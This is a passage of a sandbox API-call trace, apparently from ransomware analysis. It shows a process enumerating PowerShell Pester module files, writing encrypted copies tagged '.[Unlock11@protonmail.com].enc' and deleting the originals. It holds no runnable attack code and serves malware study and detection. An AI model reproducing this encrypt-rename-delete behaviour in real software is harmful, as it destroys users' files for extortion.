hFindFile=0x10f7990) returned 1 [0231.615] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\Pester.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\bin\\pester.bat")) returned 0x20 [0231.615] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\Pester.bat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\Pester.bat", lpFilePart=0x9bada4*="Pester.bat") returned 0x4c [0231.615] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\Pester.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\bin\\pester.bat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d)) returned 1 [0231.616] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674534 | out: pbBuffer=0x3674534) returned 1 [0231.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0231.616] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\Pester.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\bin\\pester.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.616] GetFileType (hFile=0x334) returned 0x1 [0231.616] GetFileType (hFile=0x334) returned 0x1 [0231.616] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.617] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.617] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.617] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.617] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.617] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\Pester.bat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\bin\\pester.bat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.617] GetFileType (hFile=0x39c) returned 0x1 [0231.618] GetFileType (hFile=0x39c) returned 0x1 [0231.618] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.618] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.618] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.618] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.618] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.618] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.618] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.621] CloseHandle (hObject=0x39c) returned 1 [0231.621] CloseHandle (hObject=0x334) returned 1 [0231.621] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\Pester.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\bin\\pester.bat")) returned 0 [0231.621] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0231.622] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.622] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0231.622] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0231.622] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13c0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0231.622] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1739, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0231.622] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0231.622] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0231.623] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0231.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_BeforeEach_AfterEach.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_beforeeach_aftereach.help.txt")) returned 0x20 [0231.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Mocking.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_mocking.help.txt")) returned 0x20 [0231.623] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Pester.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_pester.help.txt")) returned 0x20 [0231.624] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_should.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_should.help.txt")) returned 0x20 [0231.624] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_TestDrive.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_testdrive.help.txt")) returned 0x20 [0231.624] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_BeforeEach_AfterEach.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_BeforeEach_AfterEach.help.txt", lpFilePart=0x9bada4*="about_BeforeEach_AfterEach.help.txt") returned 0x67 [0231.624] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_BeforeEach_AfterEach.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_beforeeach_aftereach.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc26)) returned 1 [0231.625] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367428c | out: pbBuffer=0x367428c) returned 1 [0231.625] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_BeforeEach_AfterEach.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_beforeeach_aftereach.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.625] GetFileType (hFile=0x334) returned 0x1 [0231.625] GetFileType (hFile=0x334) returned 0x1 [0231.625] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.625] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.625] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.626] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.626] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.626] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.626] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.626] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_BeforeEach_AfterEach.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_beforeeach_aftereach.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.628] GetFileType (hFile=0x39c) returned 0x1 [0231.628] GetFileType (hFile=0x39c) returned 0x1 [0231.628] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.628] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.629] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.629] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.629] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.629] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.629] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.645] CloseHandle (hObject=0x39c) returned 1 [0231.645] CloseHandle (hObject=0x334) returned 1 [0231.646] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_BeforeEach_AfterEach.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_beforeeach_aftereach.help.txt")) returned 0 [0231.646] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Mocking.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Mocking.help.txt", lpFilePart=0x9bada4*="about_Mocking.help.txt") returned 0x5a [0231.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0231.646] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Mocking.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_mocking.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc)) returned 1 [0231.647] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674a0c | out: pbBuffer=0x3674a0c) returned 1 [0231.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0231.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0231.647] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Mocking.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_mocking.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.648] GetFileType (hFile=0x334) returned 0x1 [0231.648] GetFileType (hFile=0x334) returned 0x1 [0231.648] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.648] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.648] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.648] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.648] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.648] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.648] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.649] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Mocking.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_mocking.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.649] GetFileType (hFile=0x39c) returned 0x1 [0231.650] GetFileType (hFile=0x39c) returned 0x1 [0231.650] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.650] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.650] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.650] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.653] CloseHandle (hObject=0x39c) returned 1 [0231.653] CloseHandle (hObject=0x334) returned 1 [0231.653] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Mocking.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_mocking.help.txt")) returned 0 [0231.654] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Pester.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Pester.help.txt", lpFilePart=0x9bada4*="about_Pester.help.txt") returned 0x59 [0231.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.654] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Pester.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_pester.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13c0)) returned 1 [0231.654] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674f34 | out: pbBuffer=0x3674f34) returned 1 [0231.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0231.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0231.655] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Pester.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_pester.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.655] GetFileType (hFile=0x334) returned 0x1 [0231.655] GetFileType (hFile=0x334) returned 0x1 [0231.655] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.655] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.655] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.656] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.656] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.656] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.656] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.656] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Pester.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_pester.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.656] GetFileType (hFile=0x39c) returned 0x1 [0231.657] GetFileType (hFile=0x39c) returned 0x1 [0231.657] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.657] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.657] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.657] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.657] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.657] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.657] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.660] CloseHandle (hObject=0x39c) returned 1 [0231.660] CloseHandle (hObject=0x334) returned 1 [0231.660] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_Pester.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_pester.help.txt")) returned 0 [0231.661] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_should.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_should.help.txt", lpFilePart=0x9bada4*="about_should.help.txt") returned 0x59 [0231.661] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_should.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_should.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, 